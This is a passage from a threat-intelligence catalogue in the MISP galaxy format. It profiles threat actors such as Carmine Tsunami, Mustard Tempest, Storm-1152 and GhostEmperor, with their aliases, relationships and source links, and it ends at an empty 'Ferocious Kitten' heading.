The tag is: *misp-galaxy:threat-actor="Pearl Sleet"*

Pearl Sleet is also known as:

- DEV-0215
- LAWRENCIUM

Table 18673. Table References

Links
https://techcommunity.microsoft.com/t5/microsoft-defender-xdr-blog/monthly-news-december-2023/ba-p/3998431

Carmine Tsunami

Carmine Tsunami is a threat actor linked to an Israel-based private sector offensive actor called QuaDream. QuaDream sells a platform called REIGN to governments for law enforcement purposes, which includes exploits, malware, and infrastructure for data exfiltration from mobile devices. Carmine Tsunami is associated with the iOS malware called KingsPawn and has targeted civil society victims, including journalists, political opposition figures, and NGO workers, in various regions. They utilize domain registrars and inexpensive cloud hosting providers, often using single domains per IP address and deploying free Let's Encrypt SSL certificates.

The tag is: *misp-galaxy:threat-actor="Carmine Tsunami"*

Carmine Tsunami is also known as:

- DEV-0196
- QuaDream

Table 18674. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/04/11/dev-0196-quadreams-kingspawn-malware-used-to-target-civil-society-in-europe-north-america-the-middle-east-and-southeast-asia/
https://citizenlab.ca/2023/04/spyware-vendor-quadream-exploits-victims-customers/

Mustard Tempest

Mustard Tempest is a threat actor that primarily uses malvertising as their main technique to gain access to and profile networks. They deploy FakeUpdates, disguised as browser updates or software packages, to lure targets into downloading a ZIP file containing a JavaScript file. Once executed, the JavaScript framework acts as a loader for other malware campaigns, often Cobalt Strike payloads. Mustard Tempest has been associated with the cybercrime syndicate Mustard Tempest, also known as EvilCorp, and has been involved in ransomware attacks using payloads such as WastedLocker, PhoenixLocker, and Macaw.

The tag is: *misp-galaxy:threat-actor="Mustard Tempest"*

Mustard Tempest is also known as:

- DEV-0206
- Purple Vallhund

View relationships graph

Mustard Tempest has relationships with:

- similar: misp-galaxy:threat-actor="INDRIK SPIDER" with estimative-language:likelihood-probability="likely"

Table 18675. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

UNC4990

UNC4990 is a financially motivated threat actor that has been active since at least 2020. They primarily target users in Italy and rely on USB devices for initial infection. The group has evolved their tactics over time, using encoded text files on popular websites like GitHub and Vimeo to host payloads. They have been observed using sophisticated backdoors like QUIETBOARD and EMPTYSPACE, and have targeted organizations in various industries, particularly in Italy.

The tag is: *misp-galaxy:threat-actor="UNC4990"*

Table 18676. Table References

Links
https://www.mandiant.com/resources/blog/unc4990-evolution-usb-malware

Caramel Tsunami

Caramel Tsunami is a threat actor that specializes in spyware attacks. They have recently resurfaced with an updated toolset and zero-day exploits, targeting specific victims through watering hole attacks. Candiru has been observed exploiting vulnerabilities in popular browsers like Google Chrome and using third-party signed drivers to gain access to the Windows kernel. They have also been linked to other spyware vendors and have been associated with extensive abuses of their surveillance tools.

The tag is: *misp-galaxy:threat-actor="Caramel Tsunami"*

Caramel Tsunami is also known as:

- SOURGUM
- Candiru

Table 18677. Table References

Links
https://decoded.avast.io/threatresearch/avast-q2-2022-threat-report/
https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/
https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/
https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/
https://www.welivesecurity.com/2021/11/16/strategic-web-compromises-middle-east-pinch-candiru/
https://www.microsoft.com/en-us/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/

Storm-0867

Storm-0867 is a threat actor that has been active since 2012 and has targeted various industries and regions. They employ sophisticated phishing campaigns, utilizing social engineering techniques and a phishing as a service platform called Caffeine. Their attacks involve intercepting and manipulating communication between users and legitimate services, allowing them to steal passwords, hijack sign-in sessions, bypass multifactor authentication, and modify authentication methods.

The tag is: *misp-galaxy:threat-actor="Storm-0867"*

Storm-0867 is also known as:

- DEV-0867

Table 18678. Table References

Links
https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/defender-experts-chronicles-a-deep-dive-into-storm-0867/ba-p/3911769

Velvet Tempest

Velvet Tempest is a threat actor associated with the BlackCat ransomware group. They have been observed deploying multiple ransomware payloads, including BlackCat, and have targeted various industries such as energy, fashion, tobacco, IT, and manufacturing. Velvet Tempest relies on access brokers to gain network access and utilizes tools like Cobalt Strike Beacons and PsExec for lateral movement and payload staging. They exfiltrate stolen data using a tool called StealBit and frequently disable unprotected antivirus products.

The tag is: *misp-galaxy:threat-actor="Velvet Tempest"*

Velvet Tempest is also known as:

- DEV-0504

View relationships graph

Velvet Tempest has relationships with:

- similar: misp-galaxy:threat-actor="Alpha Spider" with estimative-language:likelihood-probability="likely"

Table 18679. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
http://www.microsoft.com/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

Sunglow Blizzard

DEV-0665 is a threat actor associated with the HermeticWiper attacks. Their objective is to disrupt, degrade, and destroy specific resources within a targeted country.

The tag is: *misp-galaxy:threat-actor="Sunglow Blizzard"*

Sunglow Blizzard is also known as:

- DEV-0665

Table 18680. Table References

Links
https://twitter.com/ESETresearch/status/1503436420886712321

https://thehackernews.com/2022/03/second-new-isaacwiper-data-wiper.html

Vanilla Tempest

Vice Society is a ransomware group that has been active since at least June 2021. They primarily target the education and healthcare sectors, but have also been observed targeting the manufacturing industry. The group has used multiple ransomware families and has been known to utilize PowerShell scripts for their attacks. There are similarities between Vice Society and the Rhysida ransomware group, suggesting a potential connection or rebranding.

The tag is: *misp-galaxy:threat-actor="Vanilla Tempest"*

Vanilla Tempest is also known as:

- DEV-0832
- Vice Society

View relationships graph

Vanilla Tempest has relationships with:

- similar: misp-galaxy:threat-actor="Vanilla Tempest" with estimative-language:likelihood-probability="likely"

Table 18681. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/
https://fourcore.io/blogs/rhysida-ransomware-history-ttp-adversary-emulation
https://detect.fyi/rhysida-ransomware-and-the-detection-opportunities-3599e9a02bb2
https://research.checkpoint.com/2023/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/

Lilac Typhoon

Lilac Typhoon is a threat actor attributed to China. They have been identified as exploiting the Atlassian Confluence RCE vulnerability CVE-2022-26134, which allows for remote code execution. This vulnerability has been used in cryptojacking campaigns and is included in commercial exploit frameworks. Lilac Typhoon has also been involved in deploying various payloads such as Cobalt Strike, web shells, botnets, coin miners, and ransomware.

The tag is: *misp-galaxy:threat-actor="Lilac Typhoon"*

Lilac Typhoon is also known as:

- DEV-0234

Table 18682. Table References

Links
https://securityboulevard.com/2022/10/analysis-of-cisa-releases-advisory-on-top-cves-exploited-chinese-state-sponsored-groups/
https://riskybiznews.substack.com/p/risky-biz-news-google-shuts-down
https://twitter.com/MsftSecIntel/status/1535417776290111489

Ruby Sleet

Ruby Sleet is a threat actor linked to North Korea's Ministry of State Security. Cerium has been involved in spear-phishing campaigns, compromising devices, and conducting cyberattacks alongside other North Korean threat actors. They have also targeted companies involved in COVID-19 research and vaccine development.

The tag is: *misp-galaxy:threat-actor="Ruby Sleet"*

Ruby Sleet is also known as:

- CERIUM

View relationships graph

Ruby Sleet has relationships with:

- similar: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 18683. Table References

Links
https://blogs.microsoft.com/on-the-issues/2020/11/13/health-care-cyberattacks-covid-19-paris-peace-forum/

Raspberry Typhoon

Microsoft has tracked Raspberry Typhoon (RADIUM) as the primary threat group targeting nations that ring the South China Sea. Raspberry Typhoon consistently targets government ministries, military entities, and corporate entities connected to critical infrastructure, particularly telecoms. Since January 2023, Raspberry Typhoon has been particularly persistent. When targeting government ministries or infrastructure, Raspberry Typhoon typically conducts intelligence collection and malware execution. In many countries, targets vary from defense and intelligence-related ministries to economic and trade-related ministries

The tag is: *misp-galaxy:threat-actor="Raspberry Typhoon"*

Raspberry Typhoon is also known as:

- RADIUM

View relationships graph

Raspberry Typhoon has relationships with:

- similar: misp-galaxy:threat-actor="LOTUS PANDA" with estimative-language:likelihood-probability="likely"

Table 18684. Table References

Links
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RW1aFyW

Phlox Tempest

Phlox Tempest is a threat actor responsible for a large-scale click fraud campaign targeting users through YouTube comments and malicious ads. They use ChromeLoader to infect victims' computers with malware, often delivered as ISO image files that victims are tricked into downloading. The attackers aim to profit from clicks generated by malicious browser extensions or node-WebKit installed on the victim's device. Microsoft and other cybersecurity organizations have issued warnings about this ongoing and prevalent campaign.

The tag is: *misp-galaxy:threat-actor="Phlox Tempest"*

Phlox Tempest is also known as:

- DEV-0796

Table 18685. Table References

Links
https://twitter.com/MsftSecIntel/status/1570911625841983489

Storm-1295

Storm-1295 is a threat actor group that operates the Greatness phishing-as-a-service platform. They utilize synchronous relay servers to present targets with a replica of a sign-in page, resembling traditional phishing attacks. Their adversary-in-the-middle capability allows Storm-1295 to offer their services to other attackers. Active since mid-2022, Storm-1295 is tracked by Microsoft and is known for their involvement in the Greatness PhaaS platform.

The tag is: *misp-galaxy:threat-actor="Storm-1295"*

Storm-1295 is also known as:

- DEV-1295

Table 18686. Table References

Links

https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/monthly-news-july-2023/ba-p/3860740
https://twitter.com/MsftSecIntel/status/1696273952870367320

Storm-1167

Storm-1167 is a threat actor tracked by Microsoft, known for their use of an AiTM phishing kit. They were responsible for launching an attack that led to Business Email Compromise activity.

The tag is: *misp-galaxy:threat-actor="Storm-1167"*

Storm-1167 is also known as:

- DEV-1167

Table 18687. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/06/08/detecting-and-mitigating-a-multi-stage-aitm-phishing-and-bec-campaign/

Opal Sleet

Konni is a threat actor associated with APT37, a North Korean cyber crime group. They have been active since 2012 and are known for their cyber-espionage activities. Konni has targeted various sectors, including education, government, business organizations, and the cryptocurrency industry. They have exploited vulnerabilities such as CVE-2023-38831 and have used malware like KonniRAT to gain control of victim hosts and steal important information.

The tag is: *misp-galaxy:threat-actor="Opal Sleet"*

Opal Sleet is also known as:

- OSMIUM
- Konni
- Vedalia

View relationships graph

Opal Sleet has relationships with:

- similar: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"

Table 18688. Table References

Links

https://nsfocusglobal.com/the-new-apt-group-darkcasino-and-the-global-surge-in-winrar-0-day-exploits/
https://paper.seebug.org/3031/
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-konni-apt-group-active-iocs-11
https://www.securonix.com/blog/stiffbizon-detection-new-attack-campaign-observed/
https://gbhackers.com/vedalia-apt-group-exploits/

Storm-1044

Storm-1044 has been identified as part of a cyber campaign in collaboration with Twisted Spider. They employ a strategic approach, targeting specific endpoints using an initial access trojan called DanaBot. Once they gain access, Storm-1044 initiates lateral movement through Remote Desktop Protocol sign-in attempts, passing control to Twisted Spider. Twisted Spider then compromises the endpoints by introducing the CACTUS ransomware. Microsoft has detected ongoing malvertising attacks involving Storm-1044, leading to the deployment of CACTUS ransomware.

The tag is: *misp-galaxy:threat-actor="Storm-1044"*

Storm-1044 is also known as:

- DEV-1044

Table 18689. Table References

Links
https://twitter.com/MsftSecIntel/status/1730383711437283757

Pink Sandstorm

Agonizing Serpens is an Iranian-linked APT group that has been active since 2020. They are known for their destructive wiper and fake-ransomware attacks, primarily targeting Israeli organizations in the education and technology sectors. The group has strong connections to Iran's Ministry of Intelligence and Security and has been observed using various tools and techniques to bypass security measures. They aim to steal sensitive information, including PII and intellectual property, and inflict damage by wiping endpoints.

The tag is: *misp-galaxy:threat-actor="Pink Sandstorm"*

Pink Sandstorm is also known as:

- AMERICIUM
- BlackShadow
- DEV-0022
- Agrius
- Agonizing Serpens

- UNC2428
- Black Shadow
- SPECTRAL KITTEN

Table 18690. Table References

Links
https://www.oodaloop.com/archive/2024/01/02/critical-infrastructure-remains-the-brass-ring-for-cyber-attackers-in-2024/
https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/
https://socprime.com/blog/agonizing-serpens-attack-detection-iran-backed-hackers-target-israeli-tech-firms-and-educational-institutions/
https://therecord.media/iran-linked-hackers-target-israel-education-tech-sectors
https://www.enigmasoftware.com/moneybirdransomware-removal/
https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf

Storm-1084

Storm-1084 is a threat actor that has been observed collaborating with the MuddyWater group. They have used the DarkBit persona to mask their involvement in targeted attacks. Storm-1084 has been linked to destructive actions, including the encryption of on-premise devices and deletion of cloud resources. They have been observed using tools such as Rport, Ligolo, and a customized PowerShell backdoor. The extent of their autonomy or collaboration with other Iranian threat actors is currently unclear.

The tag is: *misp-galaxy:threat-actor="Storm-1084"*

Storm-1084 is also known as:

- DEV-1084

Table 18691. Table References

Links
https://circleid.com/posts/20230824-signs-of-muddywater-developments-found-in-the-dns
https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/

Storm-1099

Storm-1099 is a sophisticated Russia-affiliated influence actor that has been conducting pro-Russia influence operations targeting international supporters of Ukraine since Spring 2022. They are known for their website forgery operation called "Doppelganger" and have been actively spreading

false information. They have been involved in pushing the claim that Hamas acquired Ukrainian weapons for an attack on Israel. Storm-1099 has also been implicated in amplifying images of graffiti in Paris, suggesting possible Russian involvement and aligning with Russia's Active Measures playbook.

The tag is: *misp-galaxy:threat-actor="Storm-1099"*

Table 18692. Table References

Links
https://blogs.microsoft.com/on-the-issues/2023/12/07/russia-ukraine-digital-threat-celebrity-cameo-mtac/

Storm-1286

Storm-1286 is a threat actor that engages in large-scale spamming activities, primarily targeting user accounts without multifactor authentication enabled. They employ password spraying attacks to compromise these accounts and utilize legacy authentication protocols like IMAP and SMTP. In the past, they have attempted to compromise admin accounts and create new LOB applications with high administrative permissions to spread spam. Despite previous actions taken by Microsoft Threat Intelligence, Storm-1286 continues to explore new methods to establish a high-scale spamming platform within victim organizations using non-privileged users.

The tag is: *misp-galaxy:threat-actor="Storm-1286"*

Table 18693. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/

Storm-1101

DEV-1101 is a threat actor tracked by Microsoft who is responsible for developing and advertising phishing kits, specifically AiTM phishing kits. These kits are capable of bypassing multifactor authentication and are available for purchase or rent by other cybercriminals. DEV-1101 offers an open-source kit with various enhancements, such as mobile device management and CAPTCHA evasion. Their tool has been used in high-volume phishing campaigns by multiple actors, including DEV-0928, and is sold for $300 with VIP licenses available for $1,000.

The tag is: *misp-galaxy:threat-actor="Storm-1101"*

Storm-1101 is also known as:

- DEV-1101

Table 18694. Table References

Links

http://www.microsoft.com/en-us/security/blog/2023/03/13/dev-1101-enables-high-volume-aitm-campaigns-with-open-source-phishing-kit/

Storm-0381

Storm-0381 is a threat actor identified by Microsoft as a Russian cybercrime group. They are known for their use of malvertising to deploy Magniber, a type of ransomware.

The tag is: *misp-galaxy:threat-actor="Storm-0381"*

Storm-0381 is also known as:

- DEV-0381

Table 18695. Table References

Links
https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2023

Storm-0530

H0lyGh0st is a North Korean threat actor that has been active since June 2021. They are responsible for developing and deploying the H0lyGh0st ransomware, which targets small-to-medium businesses in various sectors. The group employs "double extortion" tactics, encrypting data and threatening to publish it if the ransom is not paid. There are connections between H0lyGh0st and the PLUTONIUM APT group, indicating a possible affiliation.

The tag is: *misp-galaxy:threat-actor="Storm-0530"*

Storm-0530 is also known as:

- DEV-0530
- H0lyGh0st

Table 18696. Table References

Links
https://ics-cert.kaspersky.com/publications/reports/2023/03/24/apt-attacks-on-industrial-organizations-in-h2-2022/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-040a
https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware
https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/
https://www.picussecurity.com/resource/h0lygh0st-north-korean-threat-group-strikes-back-with-new-ransomware

Storm-0539

Storm-0539 is a financially motivated threat actor that has been active since at least 2021. They primarily target retail organizations for gift card fraud and theft. Their tactics include phishing via emails or SMS to distribute malicious links that redirect users to phishing pages designed to steal credentials and session tokens. Once access is gained, Storm-0539 registers a device for secondary authentication prompts, bypassing multi-factor authentication and gaining persistence in the environment. They also collect emails, contact lists, and network configurations for further attacks against the same organizations.

The tag is: *misp-galaxy:threat-actor="Storm-0539"*

Table 18697. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-update-microsoft-warns-of-emerging-threat-by-storm-0539-behind-gift-card-frauds/
https://techcommunity.microsoft.com/t5/microsoft-defender-xdr-blog/monthly-news-november-2023/ba-p/3970796

Storm-1152

Storm-1152, a cybercriminal group, was recently taken down by Microsoft for illegally reselling Outlook accounts. They operated by creating approximately 750 million fraudulent Microsoft accounts and earned millions of dollars in illicit revenue. Storm-1152 also offered CAPTCHA-solving services and was connected to ransomware and extortion groups. Microsoft obtained a court order to seize their infrastructure and domains, disrupting their operations.

The tag is: *misp-galaxy:threat-actor="Storm-1152"*

Table 18698. Table References

Links
https://securityboulevard.com/2023/12/microsoft-storm-1152-crackdown-stopping-threat-actors/
https://blogs.microsoft.com/on-the-issues/2023/12/13/cybercrime-cybersecurity-storm-1152-fraudulent-accounts/
https://www.rewterz.com/rewterz-news/rewterz-threat-update-microsoft-warns-of-emerging-threat-by-storm-0539-behind-gift-card-frauds/

Storm-1567

Storm-1567 is the threat actor behind the Ransomware-as-a-Service Akira. They attacked Swedish organizations in March 2023. This ransomware utilizes the ChaCha encryption algorithm, PowerShell, and Windows Management Instrumentation (WMI). Microsoft's Defender for Endpoint successfully blocked a large-scale hacking campaign carried out by Storm-1567, highlighting the effectiveness of their security solution.

The tag is: *misp-galaxy:threat-actor="Storm-1567"*

Storm-1567 is also known as:

- Akira
- PUNK SPIDER
- GOLD SAHARA

Table 18699. Table References

Links
https://news.sophos.com/en-us/2023/12/20/cryptoguard-an-asymmetric-approach-to-the-ransomware-battle/
https://securelist.com/crimeware-report-fakesg-akira-amos/111483/
https://www.trellix.com/en-us/about/newsroom/stories/research/akira-ransomware.html
https://blog.sekoia.io/sekoia-io-mid-2023-ransomware-threat-landscape
https://decoded.avast.io/threatresearch/avast-q2-2023-threat-report/

Storm-0829

Nwgen is a group that focuses on data exfiltration and ransomware activities. They have been found to share techniques with other threat groups such as Karakurt, Lapsus$, and Yanluowang. Nwgen has been observed carrying out attacks and deploying ransomware, encrypting files and demanding a ransom of $150,000 in Monero cryptocurrency for the decryption software.

The tag is: *misp-galaxy:threat-actor="Storm-0829"*

Storm-0829 is also known as:

- DEV-0829
- Nwgen Team

Table 18700. Table References

Links
https://www.enigmasoftware.com/nwgenransomware-removal/
https://www.databreaches.net/east-tennessee-childrens-hospital-updates-information-on-ransomware-incident/
https://readme.security/cybercrime-is-more-of-a-threat-than-nation-state-hackers-6f6cccf47721
https://twitter.com/cglyer/status/1546297609215696897

Storm-1674

Storm-1674 is an access broker known for using tools based on the publicly available TeamsPhisher tool to distribute DarkGate malware. Storm-1674 campaigns have typically relied on phishing lures

sent over Teams with malicious attachments, such as ZIP files containing a LNK file that ultimately drops DarkGate and Pikabot. In September 2023, Microsoft observed handoffs from Storm-1674 to ransomware operators that have led to Black Basta ransomware deployment.

The tag is: *misp-galaxy:threat-actor="Storm-1674"*

Table 18701. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs/

Storm-0835

Cybercriminals have launched a phishing campaign targeting senior executives in U.S. firms, using the EvilProxy phishing toolkit for credential harvesting and account takeover attacks. This campaign, initiated in July 2023, primarily targets sectors such as banking, financial services, insurance, property management, real estate, and manufacturing. The attackers exploit an open redirection vulnerability on the job search platform "indeed.com," redirecting victims to malicious phishing pages impersonating Microsoft. EvilProxy functions as a reverse proxy, intercepting credentials, two-factor authentication codes, and session cookies to hijack accounts. The threat actors, known as Storm-0835 by Microsoft, have hundreds of customers who pay monthly fees for their services, making attribution difficult. The attacks involve sending phishing emails with deceptive links to Indeed, redirecting victims to EvilProxy pages for credential harvesting.

The tag is: *misp-galaxy:threat-actor="Storm-0835"*

Table 18702. Table References

Links
https://www.linkedin.com/pulse/cyber-criminals-using-evilproxy-phishing-kit-target-senior-soral/

Storm-1575

Storm-1575 is a threat actor identified by Microsoft as being involved in phishing campaigns using the Dadsec platform. They utilize hundreds of Domain Generated Algorithm domains to host credential harvesting pages and target global organizations to steal Microsoft 365 credentials.

The tag is: *misp-galaxy:threat-actor="Storm-1575"*

Table 18703. Table References

Links
https://www.bridewell.com/insights/blogs/detail/analysing-widespread-microsoft365-credential-harvesting-campaign
https://twitter.com/MsftSecIntel/status/1712936244987019704?lang=en

TA2552

Since January 2020, Proofpoint researchers have tracked an actor abusing Microsoft Office 365 (O365) third-party application (3PA) access, with suspected activity dating back to August 2019. The actor, known as TA2552, uses well-crafted Spanish language lures that leverage a narrow range of themes and brands. The lures entice users to click a link in the message, taking them to the legitimate Microsoft third-party apps consent page. There they are prompted to grant a third-party application read-only user permissions to their O365 account via OAuth2 or other token-based authorization methods. TA2552 seeks access to specific account resources like the user's contacts and mail. Requesting read-only permissions for such account resources could be used to conduct account reconnaissance, silently steal data, or to intercept password reset messages from other accounts such as those at financial institutions. While organizations with global presence have received messages from this group, they appear to choose recipients who are likely Spanish speakers.

The tag is: *misp-galaxy:threat-actor="TA2552"*

Table 18704. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta2552-uses-oauth-access-token-phishing-exploit-read-only-risks

TA2722

TA2722 is a highly active threat actor that targets various industries including Shipping/Logistics, Manufacturing, Business Services, Pharmaceutical, and Energy. They primarily focus on organizations in North America, Europe, and Southeast Asia. This threat actor impersonates Philippine government entities and uses themes related to the government to gain remote access to target computers. Their objectives include information gathering, installing follow-on malware, and engaging in business email compromise activities.

The tag is: *misp-galaxy:threat-actor="TA2722"*

TA2722 is also known as:

- Balikbayan Foxes

Table 18705. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread

TA2719

In late March 2020, Proofpoint researchers began tracking a new actor with a penchant for using NanoCore and later AsyncRAT, popular commodity remote access trojans (RATs). Dubbed TA2719 by

Proofpoint, the actor uses localized lures with colorful images that impersonate local banks, law enforcement, and shipping services. Proofpoint has observed this actor send low volume campaigns to recipients in Austria, Chile, Greece, Hungary, Italy, North Macedonia, Netherlands, Spain, Sweden, Taiwan, United States, and Uruguay.

The tag is: *misp-galaxy:threat-actor="TA2719"*

Table 18706. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages

Karkadann

Karkadann is a threat actor that has been active since at least October 2020, targeting government bodies and news outlets in the Middle East. They have been involved in watering hole attacks, compromising high-profile websites to inject malicious JavaScript code. The group has been linked to another commercial spyware company called Candiru, suggesting they may utilize multiple spyware technologies. There are similarities in the infrastructure and tactics used by Karkadann in their campaigns.

The tag is: *misp-galaxy:threat-actor="Karkadann"*

Karkadann is also known as:

- Piwiks

Table 18707. Table References

Links
https://securelist.com/apt-trends-report-q2-2022/106995/
https://www.welivesecurity.com/2021/11/16/strategic-web-compromises-middle-east-pinch-candiru/

Storm-0473

Storm-0473 (Tomiris) is a threat actor that has been active since at least 2019. They primarily target government and diplomatic entities in the Commonwealth of Independent States region, with occasional victims in other regions being foreign representations of CIS countries. Tomiris uses a wide variety of malware implants, including downloaders, backdoors, and file stealers, developed in different programming languages. They employ various attack vectors such as spear-phishing, DNS hijacking, and exploitation of vulnerabilities. There are potential ties between Tomiris and Turla, but they are considered separate threat actors with distinct targeting and tradecraft by Kaspersky.

The tag is: *misp-galaxy:threat-actor="Storm-0473"*

Storm-0473 is also known as:

- UNC2849

Table 18708. Table References

Links
https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/
https://securelist.com/apt-trends-report-q1-2022/106351/
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://www.microsoft.com/en-us/security/blog/2024/12/04/frequent-freeloader-part-i-secret-blizzard-compromising-storm-0156-infrastructure-for-espionage/

ShaggyPanther

ShaggyPanther is a threat actor that primarily targets government entities in Taiwan and Malaysia. They have been active since 2008 and utilize hidden encrypted payloads in registry keys. Their activities have been detected in various locations, including Indonesia and Syria.

The tag is: *misp-galaxy:threat-actor="ShaggyPanther"*

Table 18709. Table References

Links
https://securelist.com/ksb-2019-review-of-the-year/95394/
https://securelist.com/apt-trends-report-q3-2019/94530/
https://securelist.com/apt-review-of-the-year/89117/

Fishing Elephant

Fishing Elephant is a threat actor that primarily targets victims in Bangladesh and Pakistan. They rely on consistent TTPs, including payload and communication patterns, while occasionally incorporating new techniques such as geo-fencing and hiding executables within certificate files. Their tool of choice is AresRAT, which they deliver through platforms like Heroku and Dropbox. Recently, they have shifted their focus to government and diplomatic entities in Turkey, Pakistan, Bangladesh, Ukraine, and China.

The tag is: *misp-galaxy:threat-actor="Fishing Elephant"*

Fishing Elephant is also known as:

- Outrider Tiger

View relationships graph

Fishing Elephant has relationships with:

- similar: misp-galaxy:threat-actor="SloppyLemming" with estimative-language:likelihood-probability="likely"

Table 18710. Table References

Links
https://securelist.com/apt-trends-report-q1-2020/96826/
https://securelist.com/apt-trends-report-q1-2022/106351/
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

RevengeHotels

RevengeHotels is a targeted cybercrime campaign that has been active since 2015, primarily targeting hotels, hostels, and tourism companies. The threat actor uses remote access Trojan malware to infiltrate hotel front desks and steal credit card data from guests and travelers. The campaign has impacted hotels in multiple countries, including Brazil, Argentina, Chile, and Mexico. The threat actor employs social engineering techniques and sells credentials from infected systems to other cybercriminals for remote access.

The tag is: *misp-galaxy:threat-actor="RevengeHotels"*

Table 18711. Table References

Links
https://securelist.com/revengehotels/95229/

GhostEmperor

GhostEmperor is a Chinese-speaking threat actor that targets government entities and telecom companies in Southeast Asia. They employ a Windows kernel-mode rootkit called Demodex to gain remote control over their targeted servers. The actor demonstrates a high level of sophistication and uses various anti-forensic and anti-analysis techniques to evade detection. They have been active for a significant period of time and continue to pose a threat to their targets.

The tag is: *misp-galaxy:threat-actor="GhostEmperor"*

GhostEmperor is also known as:

- FamousSparrow
- UNC2286
- Salt Typhoon
- RedMike
- OPERATOR PANDA

View relationships graph

GhostEmperor has relationships with:

- similar: misp-galaxy:threat-actor="Earth Estries" with estimative-language:likelihood-probability="likely"

Table 18712. Table References

Links
https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf
https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/
https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf
https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation
https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/
https://www.wsj.com/politics/national-security/china-cyberattack-internet-providers-260bd835
https://www.recordedfuture.com/research/redmike-salt-typhoon-exploits-vulnerable-devices

Operation Triangulation

Operation Triangulation is an ongoing APT campaign targeting iOS devices with zero-click iMessage exploits. The threat actor behind the campaign has been active since at least 2019 and continues to operate. The attack chain involves the delivery of a malicious iMessage attachment that launches a series of exploits, ultimately leading to the deployment of the TriangleDB implant. Kaspersky researchers have discovered and reported multiple vulnerabilities used in the campaign, with patches released by Apple.

The tag is: *misp-galaxy:threat-actor="Operation Triangulation"*

Table 18713. Table References

Links
https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/
https://securelist.com/operation-triangulation-catching-wild-triangle/110916/
https://securelist.com/triangulation-validators-modules/110847/
https://securelist.com/operation-triangulation/109842/

Operation Ghoul

Operation Ghoul is a profit-driven threat actor that targeted over 130 organizations in 30 countries, primarily in the industrial and engineering sectors. They employed high-quality social engineering techniques, such as spear-phishing emails disguised as payment advice from a UAE bank, to distribute malware. The group’s main motivation is financial gain through the sale of stolen intellectual property and business intelligence, as well as attacks on banking accounts. Their attacks were effective, particularly against companies that were unprepared to detect them.

The tag is: *misp-galaxy:threat-actor="Operation Ghoul"*

Table 18714. Table References

Links
https://securelist.com/kaspersky-security-bulletin-2016-executive-summary/76858/
https://securelist.com/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/75718/

CardinalLizard

CardinalLizard, a cyber threat actor linked to China, has targeted entities in Asia since 2018. Their methods include spear-phishing, custom malware with anti-detection features, and potentially shared infrastructure with other actors.

The tag is: *misp-galaxy:threat-actor="CardinalLizard"*

Table 18715. Table References

Links
https://securelist.com/apt-review-of-the-year/89117/

Ferocious Kitten

